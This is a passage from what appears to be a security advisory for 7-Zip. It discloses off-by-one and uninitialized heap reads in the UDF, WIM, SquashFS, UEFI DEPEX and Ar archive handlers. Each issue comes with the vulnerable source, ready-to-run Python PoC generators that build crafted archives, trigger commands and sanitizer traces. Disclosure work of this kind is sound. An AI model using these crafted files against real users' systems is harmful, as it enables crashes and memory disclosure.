    return data + b'\x00' * (SEC_SIZE - r) if r else data

# FID with 38+0+1 = 39 bytes (39 % 4 = 3 -> reads 1 byte past buffer)
fid_p = bytearray(23)
fid_p[3] = 1  # idLen
struct.pack_into('<I', fid_p, 4, SEC_SIZE)
struct.pack_into('<I', fid_p, 8, 2)
fid_p[22] = ord('A')
fid = make_tag(257, bytes(fid_p), 0)

PART_START = 257
img = bytearray((PART_START + 16) * SEC_SIZE)

# AVDP at sector 256
avdp_p = bytearray(496)
struct.pack_into('<I', avdp_p, 0, 4*SEC_SIZE)
struct.pack_into('<I', avdp_p, 4, 32)
struct.pack_into('<I', avdp_p, 8, 4*SEC_SIZE)
struct.pack_into('<I', avdp_p, 12, 32)
img[256*SEC_SIZE:257*SEC_SIZE] = pad_sec(make_tag(2, bytes(avdp_p), 256))

# PVD, PD, LVD, TD at sectors 32-35
pvd_p = bytearray(SEC_SIZE-16); struct.pack_into('<H', pvd_p, 40, 1); struct.pack_into('<H', pvd_p, 42, 1)
img[32*SEC_SIZE:33*SEC_SIZE] = pad_sec(make_tag(1, bytes(pvd_p), 32))

pd_p = bytearray(SEC_SIZE-16); struct.pack_into('<H', pd_p, 4, 1); pd_p[8:14] = b'+NSR02'
struct.pack_into('<I', pd_p, 168, 1); struct.pack_into('<I', pd_p, 172, PART_START); struct.pack_into('<I', pd_p, 176, 16)
img[33*SEC_SIZE:34*SEC_SIZE] = pad_sec(make_tag(5, bytes(pd_p), 33))

lvd_p = bytearray(SEC_SIZE-16); struct.pack_into('<I', lvd_p, 196, SEC_SIZE)
struct.pack_into('<I', lvd_p, 232, SEC_SIZE); struct.pack_into('<I', lvd_p, 248, 6); struct.pack_into('<I', lvd_p, 252, 1)
lvd_p[424] = 1; lvd_p[425] = 6; struct.pack_into('<H', lvd_p, 426, 1)
img[34*SEC_SIZE:35*SEC_SIZE] = pad_sec(make_tag(6, bytes(lvd_p), 34))
img[35*SEC_SIZE:36*SEC_SIZE] = pad_sec(make_tag(8, bytearray(SEC_SIZE-16), 35))

# FSD at partition block 0
fsd_p = bytearray(SEC_SIZE-16); struct.pack_into('<I', fsd_p, 384, SEC_SIZE); struct.pack_into('<I', fsd_p, 388, 1)
img[PART_START*SEC_SIZE:(PART_START+1)*SEC_SIZE] = pad_sec(make_tag(256, bytes(fsd_p), 0))

# Root dir FE at block 1 — inline data = 39-byte FID
fe_p = bytearray(SEC_SIZE-16); fe_p[11] = 4; struct.pack_into('<H', fe_p, 18, 3)
struct.pack_into('<H', fe_p, 32, 1); struct.pack_into('<Q', fe_p, 40, 39); struct.pack_into('<I', fe_p, 156, 39)
fe_p[160:199] = fid
img[(PART_START+1)*SEC_SIZE:(PART_START+2)*SEC_SIZE] = pad_sec(make_tag(261, bytes(fe_p), 1))

# Child file FE at block 2
dfe_p = bytearray(SEC_SIZE-16); dfe_p[11] = 5; struct.pack_into('<H', dfe_p, 18, 3); struct.pack_into('<H', dfe_p, 32, 1)
img[(PART_START+2)*SEC_SIZE:(PART_START+3)*SEC_SIZE] = pad_sec(make_tag(261, bytes(dfe_p), 2))

open(sys.argv[1] if len(sys.argv) > 1 else 'poc_udf_007t.iso', 'wb').write(bytes(img))

Triggering:

7zz l poc_udf_007t.iso

Verification

ASan-confirmed (MSVC /fsanitize=address, Windows x64):

==17540==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x115b835a1237
    at pc 0x7ff743846a4d bp 0x002b944fbf00 sp 0x002b944fbf08
READ of size 1 at 0x115b835a1237 thread T0
    #0 in NArchive::NUdf::CFileId::Parse UdfIn.cpp:505
    #1 in NArchive::NUdf::CInArchive::ReadItem UdfIn.cpp:692
    #2 in NArchive::NUdf::CInArchive::ReadFileItem UdfIn.cpp:545
    #3 in NArchive::NUdf::CInArchive::Open2 UdfIn.cpp:1251

0x115b835a1237 is located 0 bytes after 39-byte region [0x115b835a1210,0x115b835a1237)
allocated by thread T0 here:
    #0 in operator new[]
    #1 in CBuffer<unsigned char>::Alloc MyBuffer.h:69
    #2 in CBuffer<unsigned char>::operator= MyBuffer.h:119
    #3 in NArchive::NUdf::CInArchive::ReadFromFile UdfIn.cpp:369

The directory buffer is allocated at exactly 39 bytes (new Byte[39]). The
padding loop at line 505 reads p[39] — 0 bytes after the end of the
allocation — triggering ASan’s heap-buffer-overflow.

Issue 4: WIM SecurityId OOB read (GHSL-2026-119)

Off-by-one heap out-of-bounds read in 7-Zip WIM security descriptor handler.

An off-by-one heap out-of-bounds read exists in the WIM (Windows Imaging)
archive handler in 7-Zip. The CHandler::GetSecurity function validates a
securityId against SecurOffsets.Size() but then accesses
SecurOffsets[securityId + 1], reading 4 bytes past the end of the heap
allocation when securityId equals the maximum allowed value. The OOB is
triggered on viewing (double-click or File -> Open) a crafted WIM in the
7-Zip File Manager GUI.

The WIM handler’s per-image security table is stored as a
CRecordVector<UInt32> SecurOffsets with numEntries + 1 cumulative offsets.
Valid record indices are 0 through numEntries - 1, where record i spans
SecurOffsets[i] to SecurOffsets[i + 1].

CHandler::GetSecurity (CPP/7zip/Archive/Wim/WimHandler.cpp, line 649)
validates the attacker-controlled securityId with an off-by-one:

// CPP/7zip/Archive/Wim/WimHandler.cpp, lines 649-671

HRESULT CHandler::GetSecurity(UInt32 realIndex, const void **data,
    UInt32 *dataSize, UInt32 *propType)
{
  const CItem &item = _db.Items[realIndex];
  if (item.IsAltStream || item.ImageIndex < 0)
    return S_OK;
  const CImage &image = _db.Images[item.ImageIndex];
  const Byte *metadata = image.Meta + item.Offset;
  UInt32 securityId = Get32(metadata + 0xC);              // attacker-controlled
  if (securityId == (UInt32)(Int32)-1)
    return S_OK;
  if (securityId >= (UInt32)image.SecurOffsets.Size())     // ← WRONG: allows numEntries
    return E_FAIL;
  UInt32 offs = image.SecurOffsets[securityId];            // OK for securityId < Size()
  UInt32 len  = image.SecurOffsets[securityId + 1] - offs; // ← OOB when securityId == Size()-1
  // ...
}

SecurOffsets.Size() is numEntries + 1. The check securityId >= Size()
admits securityId == numEntries. Then line 662 reads
SecurOffsets[numEntries + 1] — one UInt32 (4 bytes) past the end of
the heap-allocated CRecordVector storage.

The SecurOffsets population

// CPP/7zip/Archive/Wim/WimIn.cpp, lines 826-836


image.SecurOffsets.ClearAndReserve(numEntries + 1);
image.SecurOffsets.AddInReserved(sum);           // entry 0
for (UInt32 i = 0; i < numEntries; i++) {
    // ...
    image.SecurOffsets.AddInReserved(sum);       // entries 1..numEntries
}
// Total: numEntries + 1 entries. Size() == numEntries + 1.

CRecordVector uses new T[capacity] (MyVector.h:105) with no bounds
checking on operator[] (MyVector.h:267).


Impact

This issue may lead to limited information disclosure (OOB bytes
used arithmetically but not surfaced to attacker).

    The WIM handler is registered for .wim, .swm, .esd, .ppkg
files and is enabled in stock 7z.dll.
    GetSecurity is called when any frontend queries kpidNtSecure
via IArchiveGetRawProps::GetRawProp.
    The file manager’s ListView calls GetRawProp(kpidNtSecure)
for every item during listing — the OOB triggers immediately upon
opening the WIM, with no extraction or user interaction.
    CLI: The console tool triggers the OOB when listing with
technical info (7zz l -slt).
    The attacker controls securityId via the SecurityId field at
offset +0xC of any directory entry in the WIM metadata.
    The OOB value is used arithmetically (len = OOB_value - offs)
to compute a metadata buffer slice length. If the garbage len
fails the subsequent bounds check, the function returns S_OK
with no data.

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low)

Affected versions: The WIM security descriptor support (GetSecurity
with SecurOffsets) was introduced in 7-Zip 9.34. The off-by-one
has been present since introduction. All versions from 9.34
through 26.00 are affected.

CWEs

    CWE-125: “Out-of-bounds Read”

Resources

PoC generator

Requires Windows (uses DISM to create a valid WIM) and an
elevated (admin) prompt:

#!/usr/bin/env python3
"""Generate a crafted WIM that triggers SecurityId off-by-one
OOB read.
Must be run as Administrator (DISM requires elevation)."""
import os, subprocess, shutil, struct, hashlib, sys, tempfile

# Step 1: Create a temp directory with two files
src = os.path.join(tempfile.gettempdir(), "wim_poc_src")
os.makedirs(src, exist_ok=True)
for name in ("a.txt", "b.txt"):
    with open(os.path.join(src, name), "w") as f:
        f.write(name)

# Step 2: Capture as uncompressed WIM via DISM
base_wim = os.path.join(tempfile.gettempdir(), "test.wim")
if os.path.exists(base_wim):
    os.remove(base_wim)
r = subprocess.run([
    "dism", "/Capture-Image",
    f"/ImageFile:{base_wim}",
    f"/CaptureDir:{src}",
    "/Name:test", "/Compress:none"
], capture_output=True, text=True)
if r.returncode != 0:
    print(r.stdout + r.stderr)
    sys.exit(f"DISM failed (exit {r.returncode}). Run
as Administrator.")

# Step 3: Clean up temp source
shutil.rmtree(src, ignore_errors=True)

# Step 4: Patch SecurityId to trigger OOB
data = bytearray(open(base_wim, "rb").read())
os.remove(base_wim)

# Determine version and resource offsets
version = struct.unpack_from('<I', data, 0xC)[0]
is_new = (version >> 16) > 1 or ((version >> 16) == 1 and (version & 0xFFFF) >= 13)
res_offset = 0x30 if is_new else 0x2C

# Find offset table
ot_off = struct.unpack_from('<Q', data, res_offset + 8)[0]
ot_us = struct.unpack_from('<Q', data, res_offset + 16)[0]
entry_size = 50

# Find the metadata entry (flag 0x02) in the offset table
for i in range(ot_us // entry_size):
    base = ot_off + i * entry_size
    if data[base + 7] & 0x02:  # METADATA flag
        meta_off = struct.unpack_from('<Q', data, base + 8)[0]
        meta_size = struct.unpack_from('<Q', data, base + 16)[0]
        hash_abs = base + 30
        break
else:
    sys.exit("No metadata resource found")

# Parse security table from metadata
total_len = struct.unpack_from('<I', data, meta_off)[0]
num_entries = struct.unpack_from('<I', data, meta_off + 4)[0]
if num_entries == 0:
    sys.exit("No security entries")

# Reduce to 1 security entry so SecurOffsets has 2 elements (8 bytes).
# ASan can detect the 4-byte OOB on an 8-byte allocation.
entry0_size = struct.unpack_from('<Q', data, meta_off + 8)[0]
orig_data_start = meta_off + 8 + num_entries * 8
new_total = (8 + 8 + entry0_size + 7) & ~7

# Rebuild security block in-place
struct.pack_into('<I', data, meta_off, new_total)      # totalLen
struct.pack_into('<I', data, meta_off + 4, 1)          # numEntries = 1
# entry[0] size stays at meta_off+8
# Move security data (entry[0]) right after the single size field
src = orig_data_start
dst = meta_off + 16
if src != dst:
    data[dst:dst + entry0_size] = data[src:src + entry0_size]

# Move dir entries
orig_dir_start = meta_off + ((total_len + 7) & ~7)
new_dir_start = meta_off + new_total
dir_data = data[orig_dir_start:meta_off + meta_size]
data[new_dir_start:new_dir_start + len(dir_data)] = dir_data
# Zero-fill gap
for j in range(new_dir_start + len(dir_data), meta_off + meta_size):
    data[j] = 0

# Patch SecurityId in first direntry to 1 (= numEntries, triggers OOB)
secid_abs = new_dir_start + 0xC
struct.pack_into('<I', data, secid_abs, 1)

# Recompute SHA1 of patched metadata and update hash in offset table
new_hash = hashlib.sha1(bytes(data[meta_off:meta_off + meta_size])).digest()
data[hash_abs:hash_abs + 20] = new_hash

out = "poc_wim_oob.wim"
with open(out, "wb") as f:
    f.write(data)
print(f"Written {len(data)} bytes to {out}")

Triggering:

CLI:

7zz l -slt poc_wim_oob.wim

GUI (zero-click crash under ASan):

7zFM.exe poc_wim_oob.wim

The GUI crashes immediately on open — GetRawProp(kpidNtSecure) is
called for every listed item before the window is displayed. No
user interaction beyond opening the file.


Verification

ASan-confirmed. The PoC triggers heap-buffer-overflow on 7-Zip 26.00
(x64) built with MSVC /fsanitize=address:

==470452==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x12ecf2cb3fb8
READ of size 4 at 0x12ecf2cb3fb8 thread T0
    #0 NArchive::NWim::CHandler::GetSecurity
        WimHandler.cpp:662
    #1 NArchive::NWim::CHandler::GetRawProp
        WimHandler.cpp:791
    #2 CFieldPrinter::PrintItemInfo
        List.cpp:599
    #3 ListArchives
        List.cpp:1363
    #4 Main2
        Main.cpp:1504
    #5 main
        MainAr.cpp:132


allocated by thread T0 here:
    #0 operator new[]
        asan_win_new_array_thunk.cpp:41
    #1 CRecordVector<unsigned int>::ClearAndReserve
        MyVector.h:105
    #2 NArchive::NWim::CDatabase::ParseImageDirs
        WimIn.cpp:826


SUMMARY: AddressSanitizer: heap-buffer-overflow
  WimHandler.cpp:662 in NArchive::NWim::CHandler::GetSecurity

Issue 5: SquashFS BlockToNode uninitialized heap read (GHSL-2026-120)

Uninitialized heap read via sparse _blockToNode index in SquashFS handler.

The SquashFS handler’s OpenDir function indexes the _blockToNode array
using attacker-controlled blockIndex values. The array is allocated
with ClearAndReserve(GetNumBlocks() + 1) but only partially populated
during inode parsing — when few inodes span many metadata blocks, most
slots remain uninitialized. Reading these uninitialized UInt32 values
provides attacker-influenced bounds to FindInSorted, which then
performs an unbounded heap read via _nodesPos[mid]. If the OOB-read
value coincidentally matches unpackPos, the returned nodeIndex chains
into a wild-pointer read of _nodes[nodeIndex] — though this
amplification is heap-layout-dependent and not reliably triggerable.
Sparse _blockToNode population

Open2 builds _blockToNode (CPP/7zip/Archive/SquashfsHandler.cpp, line 1673):

// SquashfsHandler.cpp, lines 1673-1699

_blockToNode.ClearAndReserve(_inodesData.GetNumBlocks() + 1);
unsigned curBlock = 0;
for (UInt32 i = 0; i < _h.NumInodes; i++)
{
    // ... parse inode ...
    while (pos >= _inodesData.UnpackPos[curBlock])
    {
        _blockToNode.Add(_nodesPos.Size());     // only fires at block boundaries
        curBlock++;
    }
    _nodesPos.AddInReserved(pos);
    _nodes.AddInReserved(n);
    pos += size;
}
_blockToNode.Add(_nodesPos.Size());

ClearAndReserve allocates GetNumBlocks() + 1 slots via
new UInt32[capacity] (MyVector.h:95-108) — no zero-initialization
for POD types. The while loop only adds entries when inodes cross
block boundaries. With NumInodes = 1 and a large inode,
_blockToNode.Size() can be as small as 2, while capacity is
GetNumBlocks() + 1 (potentially hundreds).
Elements [2..capacity-1] are uninitialized heap.

Sink: OpenDir reads uninitialized bounds

OpenDir at line 1414:

// SquashfsHandler.cpp, line 1414

nodeIndex = _nodesPos.FindInSorted(unpackPos,
    _blockToNode[blockIndex],           // ← uninitialized when blockIndex >= Size()
    _blockToNode[blockIndex + 1]);      // ← uninitialized

blockIndex comes from _inodesData.PackPos.FindInSorted(startBlock)
where startBlock is derived from the attacker-controlled RootInode
superblock field. The attacker picks any blockIndex ≥ 2 (within
GetNumBlocks()), reading uninitialized heap as the left/right
bounds for FindInSorted.

Amplification via _nodes[nodeIndex] (heap-layout-dependent)

FindInSorted performs mid = (left + right) / 2 and dereferences
_nodesPos[mid] with no bounds check. If the OOB-read value at
_nodesPos[mid] coincidentally equals unpackPos, nodeIndex = mid
is returned and indexes into _nodes:

const CNode &n = _nodes[nodeIndex];    // wild-index read if nodeIndex >= Size()
if (!n.IsDir()) return S_OK;

This would read a full CNode struct from arbitrary heap, with the
resulting StartBlock/Offset feeding further directory parsing — a
chained OOB read primitive. In practice, the PoC produces
left=2, right=3, mid=2, but _nodesPos[2] (OOB) does not match
unpackPos, so FindInSorted returns -1 and OpenDir returns S_FALSE.
The amplification requires specific heap contents and is not
reliably triggerable from the current PoC.


Impact

This issue may lead to information disclosure (heap content leakage
via chained OOB reads) and denial of service (crash from wild-pointer
dereference). The SquashFS handler is enabled in stock 7z.dll and
triggers during Open() before any user interaction beyond opening
the file.

    The attacker controls RootInode in the superblock and the
metadata block layout.
    Uninitialized heap values feed into indexed reads, creating an
attacker-influenced OOB read chain.
    No write primitive.

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L — 4.2 (Medium)

AC:H because exploiting the uninitialized values for controlled
reads requires heap layout manipulation.

Affected versions: The _blockToNode optimization has been present
since 7-Zip 9.18. All versions through 26.00 are affected.

CWEs

    CWE-908: “Use of Uninitialized Resource”
    CWE-125: “Out-of-bounds Read”

Resources

PoC generator:

#!/usr/bin/env python3
"""Generate a SquashFS v4 image triggering uninitialized _blockToNode read."""
import struct, sys

# 1 FILE inode spanning 3 metadata blocks (232 bytes = 32 hdr + 50*4 block_sizes)
num_data_blocks = 50
file_inode  = struct.pack('<HH', 2, 0x1b4) + struct.pack('<HH', 0, 0)
file_inode += struct.pack('<I', 0x67000000) + struct.pack('<I', 1)
file_inode += struct.pack('<I', 0) + struct.pack('<I', 0xFFFFFFFF)  # no fragment
file_inode += struct.pack('<I', 0) + struct.pack('<I', num_data_blocks * 8192)
for i in range(num_data_blocks):
    file_inode += struct.pack('<I', 8192 | (1 << 24))

# Split across 3 metadata blocks (100 + 100 + 32 bytes)
def meta_block(d): return struct.pack('<H', len(d) | (1 << 15)) + d
inode_table = meta_block(file_inode[:100]) + meta_block(file_inode[100:200]) + meta_block(file_inode[200:])

dir_data = struct.pack('<I', 0xFFFFFFFF) + struct.pack('<I', 0) + struct.pack('<I', 1)
dir_table = meta_block(dir_data)
id_data = meta_block(struct.pack('<I', 1000))

it = 96; dt = it + len(inode_table); ft = dt + len(dir_table)
ip = ft + len(id_data); bu = ip + 8

hdr  = b'hsqs' + struct.pack('<I', 1) + struct.pack('<I', 0) + struct.pack('<I', 8192)
hdr += struct.pack('<I', 0) + struct.pack('<HH', 1, 13) + struct.pack('<HH', 0x1C3, 1)
hdr += struct.pack('<HH', 4, 0)
hdr += struct.pack('<Q', (204 << 16) | 0)  # RootInode → block 2 (uninitialized)
hdr += struct.pack('<Q', bu) + struct.pack('<Q', ip)
hdr += struct.pack('<Q', 0xFFFFFFFFFFFFFFFF)  # xattr
hdr += struct.pack('<Q', it) + struct.pack('<Q', dt)
hdr += struct.pack('<Q', ft)  # FragTable = after dir table
hdr += struct.pack('<Q', 0xFFFFFFFFFFFFFFFF)  # lookup

out = hdr + inode_table + dir_table + id_data + struct.pack('<Q', ft)
open(sys.argv[1] if len(sys.argv) > 1 else 'poc_sfs_uninit.sfs', 'wb').write(out)

Triggering:

7zz l poc_sfs_uninit.sfs

Verification

cdb trace (Debug build): Confirmed OpenDir is called with
startBlock = 0xCC, and the second FindInSorted (for _nodesPos)
receives left = 2, right = 3 — values read from uninitialized
_blockToNode slots past Size() but within capacity. These
feed mid = 2 into _nodesPos[2] — past _nodesPos.Size() = 1.

MSan-confirmed (clang -fsanitize=memory, Linux via Docker):

==7==WARNING: MemorySanitizer: use-of-uninitialized-value
    #0 0x5d501ac05517  (/bin2/7zz+0x2d9517)
    #1 0x5d501ac0688f  (/bin2/7zz+0x2da88f)
    #2 0x5d501ac0771c  (/bin2/7zz+0x2db71c)
    ...
SUMMARY: MemorySanitizer: use-of-uninitialized-value (/bin2/7zz+0x2d9517)

MSan confirms that uninitialized values from _blockToNode are used
in the FindInSorted comparison, driving OOB indexed reads of
_nodesPos.

Issue 6: UEFI DEPEX OOB Read (GHSL-2026-121)

Off-by-one out-of-bounds read in 7-Zip UEFI dependency expression
parser.

An off-by-one out-of-bounds read exists in the UEFI firmware image
parser in 7-Zip. The ParseDepedencyExpression function uses > instead
of >= when validating an attacker-controlled opcode byte against the
bounds of a static array of const char * pointers. When command == 10,
the function reads one pointer past the end of the 10-element
kExpressionCommands array, then dereferences that pointer as a
C string, causing either a crash or a leak of adjacent .rodata
content into archive metadata.

The function ParseDepedencyExpression
(CPP/7zip/Archive/UefiHandler.cpp, line 394) validates an
attacker-supplied opcode byte against a 10-element const char * array:

// CPP/7zip/Archive/UefiHandler.cpp, lines 389-413

static const char * const kExpressionCommands[] =
{
  "BEFORE", "AFTER", "PUSH", "AND", "OR", "NOT", "TRUE", "FALSE", "END", "SOR"
};                                      // 10 entries — valid indices 0..9

static bool ParseDepedencyExpression(const Byte *p, UInt32 size, AString &res)
{
  res.Empty();
  for (UInt32 i = 0; i < size;)
  {
    unsigned command = p[i++];
    if (command > Z7_ARRAY_SIZE(kExpressionCommands))   // BUG: must be >=
      return false;
    res += kExpressionCommands[command];                // OOB when command == 10
    if (command < 3)
    {
      if (i + kGuidSize > size)
        return false;
      res.Add_Space();
      AddGuid(res, p + i, false);
      i += kGuidSize;
    }
    res += "; ";
  }
  return true;
}

Z7_ARRAY_SIZE(kExpressionCommands) evaluates to 10. The check
command > 10 admits command == 10. Line 402 then reads
kExpressionCommands[10] — one pointer slot (8 bytes on x64)
past the end of the static-storage array.


What happens with the OOB pointer

The OOB-read value is treated as a const char * and passed to
AString::operator+=(const char *), which calls strlen() on it
and then memcpys the result into the string buffer. Two outcomes
are possible:

    Crash: The OOB pointer value is not a valid readable
address → strlen faults with ACCESS_VIOLATION. Deterministic DoS.
    Rodata leak: The OOB pointer happens to point to another
static string in .rdata → that string’s content is copied into
the Characts archive property, which is visible to the user via
the archive listing UI.

The outcome is deterministic for a given binary (linker layout
is fixed per build).

Call path

The function is reached automatically during archive open:

OpenFv() or OpenCapsule()
  → ParseVolume()
    → ParseSections()                          (UefiHandler.cpp:1194)
      → case SECTION_DXE_DEPEX (0x13):
      → case SECTION_PEI_DEPEX (0x1B):
        → ParseDepedencyExpression(p + 4, sectDataSize, s)   (line 1198)

The command byte is the first byte of the DEPEX section payload (p[4]),
fully attacker-controlled.


Attack surface and reachability

    The UEFI handler is registered for both UEFI capsule (UEFIc) and
UEFI FFS (UEFIf) formats with signature-based detection
(NArcInfoFlags::kFindSignature), at lines 1853 and 1873.
    The handler IS enabled in stock 7z.dll.
    The vulnerability triggers during IInArchive::Open(), before any
user interaction beyond opening the file.
    The attacker only needs to provide a file containing a valid FFS
volume with one DXE_DEPEX or PEI_DEPEX section whose first body byte
is 0x0A.


Impact

This issue may lead to denial of service (crash from dereferencing
an invalid pointer) or minor information disclosure (adjacent .rdata
string leaked into archive metadata).

    Static array OOB read: kExpressionCommands[10] reads 8 bytes
(one pointer slot) past the end of a 10-element static .rdata array.
Because adjacent .rdata is always readable (same PE section), this
does not typically crash. On the tested build, the adjacent bytes
form a valid pointer to another string literal, so strlen + memcpy
succeed silently.
    No meaningful information disclosure: The content at the
dereferenced OOB pointer is a static string from the binary’s own
.rdata — identical to what anyone can extract with a hex editor.
No user secrets, no heap data, no ASLR base address is leaked.
    Linker-dependent crash: If a different build places non-pointer
data adjacent to kExpressionCommands, the strlen dereference would
fault with ACCESS_VIOLATION (DoS). This is linker-layout dependent,
not deterministic across builds.

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low)

Affected versions: The off-by-one has been present since 7-Zip 9.21,
the first version to include the UEFI handler. All versions
through 26.00 are affected.

CWEs

    CWE-125: “Out-of-bounds Read”

Resources

PoC generator:

A 104-byte UEFI FFS volume with a DXE_DEPEX section containing
opcode byte 0x0A triggers the bug.

#!/usr/bin/env python3
"""Generate a minimal UEFI FFS volume with a crafted DEPEX section
that triggers the off-by-one OOB read in ParseDepedencyExpression."""

import struct

kFileHeaderSize = 24
FFS2_GUID = bytes([0x78,0xE5,0x8C,0x8C,0x3D,0x8A,0x1C,0x4F,
                   0x99,0x35,0x89,0x61,0x85,0xC3,0x2D,0xD3])

sect_type = 0x13  # SECTION_DXE_DEPEX
sect_payload = bytes([0x0A])  # command=10, OOB trigger
sect_size = 4 + len(sect_payload)
section = struct.pack('<I', (sect_type << 24) | sect_size)

file_guid = bytes(range(1, 17))
file_size = kFileHeaderSize + sect_size
ffs = bytearray(kFileHeaderSize)
ffs[0:16] = file_guid
ffs[0x11] = 0xAA; ffs[0x12] = 0x07; ffs[0x13] = 0x00
ffs[0x14] = file_size & 0xFF; ffs[0x15] = (file_size >> 8) & 0xFF
ffs[0x16] = (file_size >> 16) & 0xFF; ffs[0x17] = 0xFB
hdr_sum = sum(ffs[i] for i in range(kFileHeaderSize) if i not in (0x11, 0x17))
ffs[0x10] = (256 - (hdr_sum & 0xFF)) & 0xFF
ffs_data = bytes(ffs) + section + sect_payload

header_len = 0x48
vol_size = (header_len + len(ffs_data) + 7) & ~7
fv = bytearray(header_len); fv[0x10:0x20] = FFS2_GUID
struct.pack_into('<Q', fv, 0x20, vol_size)
struct.pack_into('<I', fv, 0x28, 0x4856465F)
struct.pack_into('<I', fv, 0x2C, (1 << 11) | 0x0004FEFF)
struct.pack_into('<H', fv, 0x30, header_len); fv[0x37] = 2
struct.pack_into('<I', fv, 0x38, 1); struct.pack_into('<I', fv, 0x3C, vol_size)
struct.pack_into('<Q', fv, 0x40, 0)
words_sum = sum(struct.unpack_from('<H', fv, i)[0] for i in range(0, header_len, 2))
struct.pack_into('<H', fv, 0x32, (-words_sum) & 0xFFFF)

img = bytes(fv) + ffs_data + b'\xFF' * (vol_size - header_len - len(ffs_data))
open('poc_depex_oob.uefif', 'wb').write(img)

Triggering:

7zz l poc_depex_oob.uefif

Verification

ASan-confirmed. The PoC triggers a global-buffer-overflow on 7-Zip
26.00 (x64) built with MSVC /fsanitize=address:

==102284==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7ff738946e10
  at pc 0x7ff738723a40 bp 0x00f292efc950 sp 0x00f292efc958
READ of size 8 at 0x7ff738946e10 thread T0
    #0 NArchive::NUefi::ParseDepedencyExpression
        UefiHandler.cpp:402
    #1 NArchive::NUefi::CHandler::ParseSections
        UefiHandler.cpp:1198
    #2 NArchive::NUefi::CHandler::ParseVolume
        UefiHandler.cpp:1472
    #3 NArchive::NUefi::CHandler::OpenFv
        UefiHandler.cpp:1628
    #4 NArchive::NUefi::CHandler::Open2
        UefiHandler.cpp:1640
    #5 NArchive::NUefi::CHandler::Open
        UefiHandler.cpp:1735
    #6 CArc::OpenStream2
        OpenArchive.cpp:1975


0x7ff738946e10 is located 0 bytes after global variable
  'NArchive::NUefi::kExpressionCommands' defined in
  'UefiHandler.cpp:389:26' (0x7ff738946dc0) of size 80


SUMMARY: AddressSanitizer: global-buffer-overflow
  UefiHandler.cpp:402 in NArchive::NUefi::ParseDepedencyExpression

Issue 7: Ar SYMDEF OOB Read (GHSL-2026-122)

Heap out-of-bounds read in 7-Zip Ar handler BSD SYMDEF parser.

A 4-byte heap out-of-bounds read exists in the Unix ar archive parser in
7-Zip. When parsing a BSD-style __.SYMDEF symbol table, the ParseLibSymbols
function reads a 32-bit namesSize field via Get32 at a position that can
equal the buffer size, reading 4 bytes past the end of the heap allocation.
This reads uninitialized heap data under the default allocator.

The function CHandler::ParseLibSymbols
(CPP/7zip/Archive/ArHandler.cpp, line 448) allocates a heap buffer of
exactly item.Size bytes and parses the BSD __.SYMDEF symbol table:

// CPP/7zip/Archive/ArHandler.cpp, lines 460-478

size_t size = (size_t)item.Size;
CByteArr p(size);                                              // heap alloc of `size` bytes
RINOK(ReadStream_FALSE(stream, p, size))

// ...
// "__.SYMDEF" parsing (BSD), lines 469-478:
for (be = 0; be < 2; be++)
{
  const UInt32 tableSize = Get32(p, be);                       // line 471
  pos = 4;
  if (size - pos < tableSize || (tableSize & 7) != 0)          // line 473
    continue;
  size_t namesStart = pos + tableSize;                         // line 475
  const UInt32 namesSize = Get32(p.ConstData() + namesStart, be); // line 476 ← OOB READ
  namesStart += 4;
  if (namesStart > size || namesStart + namesSize != size)     // line 478 (too late)
    continue;

The bounds check gap

Line 473 checks size - pos < tableSize, which ensures
namesStart = pos + tableSize ≤ size. This admits namesStart == size
(the boundary case). Line 476 then calls Get32(p.ConstData() + namesStart, be),
which reads 4 bytes at p[size..size+3] — past the end of the size-byte
heap allocation.

The bounds check at line 478 (namesStart > size) that would catch this
runs after the OOB read has already occurred.

Trigger values

The (tableSize & 7) != 0 filter restricts tableSize to multiples of 8.
The minimum trigger:
item.Size         tableSize (from file)         namesStart         OOB read offset
12         8         12 (== size)         p[12..15] — 4 bytes past end
20         16         20 (== size)         p[20..23] — 4 bytes past end

The for (be = 0; be < 2; be++) retry loop performs the OOB read twice
(once little-endian, once big-endian) before giving up.

Impact

This issue may lead to limited information disclosure (OOB bytes used
in bounds check but not surfaced to output).

    The Ar handler is registered for .a, .ar, .lib, and .deb file
extensions. The handler IS enabled in stock 7z.dll.
    ParseLibSymbols is called from Open at line 627, triggered whenever
the first or second archive member is named __.SYMDEF or __.SYMDEF SORTED.
    The vulnerability triggers during IInArchive::Open(), before any
extraction.
    Limited information disclosure: The OOB bytes are stored in namesSize
(local variable) but are only used in the subsequent bounds check at
line 478, which always fails (causing continue). The leaked bytes do
not flow into any output stream visible to the attacker.

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low)

Affected versions: The SYMDEF parsing was introduced in 7-Zip 9.34.
The off-by-4 OOB has been present in all versions from 9.34 through
26.00.

CWEs

    CWE-125: “Out-of-bounds Read”

Resources

PoC generator:

A crafted 68-byte .a archive triggers the vulnerability.

#!/usr/bin/env python3
"""Generate a crafted ar archive that triggers 4-byte OOB heap read
in ParseLibSymbols BSD __.SYMDEF parsing."""

import struct

AR_MAGIC = b'!<arch>\n'

# Member header: 60 bytes fixed format
# name(16) + mtime(12) + uid(6) + gid(6) + mode(8) + size(10) + fmag(2) = 60
name = b'__.SYMDEF       '  # 16 bytes, padded with spaces
mtime = b'0           '     # 12 bytes
uid = b'0     '             # 6 bytes
gid = b'0     '             # 6 bytes
mode = b'100644  '          # 8 bytes
# Payload: tableSize(4) + table(8) = 12 bytes → namesStart == 12 == size → OOB
payload_size = 12
size_field = f'{payload_size:<10}'.encode()  # 10 bytes
fmag = b'`\n'               # 2 bytes

header = name + mtime + uid + gid + mode + size_field + fmag
assert len(header) == 60

# Payload: tableSize = 8 (little-endian), then 8 bytes of table data
payload = struct.pack('<I', 8)  # tableSize = 8
payload += b'\x00' * 8          # 8 bytes of table (1 entry: namePos=0, offset=0)
assert len(payload) == payload_size

archive = AR_MAGIC + header + payload

with open('poc.a', 'wb') as f:
    f.write(archive)

print(f'Written {len(archive)}-byte archive')
print(f'  Member: __.SYMDEF, size={payload_size}')
print(f'  tableSize=8, namesStart=12==size → Get32 reads p[12..15] OOB')

Triggering:

7zz l poc.a

Verification

